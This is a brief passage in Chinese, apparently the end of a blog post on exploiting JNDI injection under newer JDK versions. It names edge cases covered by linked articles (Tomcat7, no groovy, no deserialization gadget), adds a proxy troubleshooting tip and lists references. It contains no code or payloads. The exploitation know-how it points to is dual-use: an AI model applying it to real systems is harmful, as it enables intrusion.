,分别介绍了系统使用的是 Tomcat7(没有ELProcessor),或是没有 groovy 依赖,又或是没有本地可用的反序列化 gadget,还有可能连 Tomcat 都没有(无法使用 BeanFactory)等特殊情况下的利用方法以及相关补充。
防止文章失效,我转到了GitHub探索高版本 JDK 下 JNDI 漏洞的利用方法和探索高版本 JDK 下 JNDI 漏洞的利用方法:第二章
原文链接在探索高版本 JDK 下 JNDI 漏洞的利用方法和探索高版本 JDK 下 JNDI 漏洞的利用方法:第二章
另外,测试代码报readtime out
错误的话可能是本机Socket
开了代理,关了就好。
Reference
https://evilpan.com/2021/12/13/jndi-injection/
https://blog.csdn.net/weixin_45682070/article/details/122622236
https://blog.csdn.net/qq_35733751/article/details/118767640
https://www.anquanke.com/post/id/201181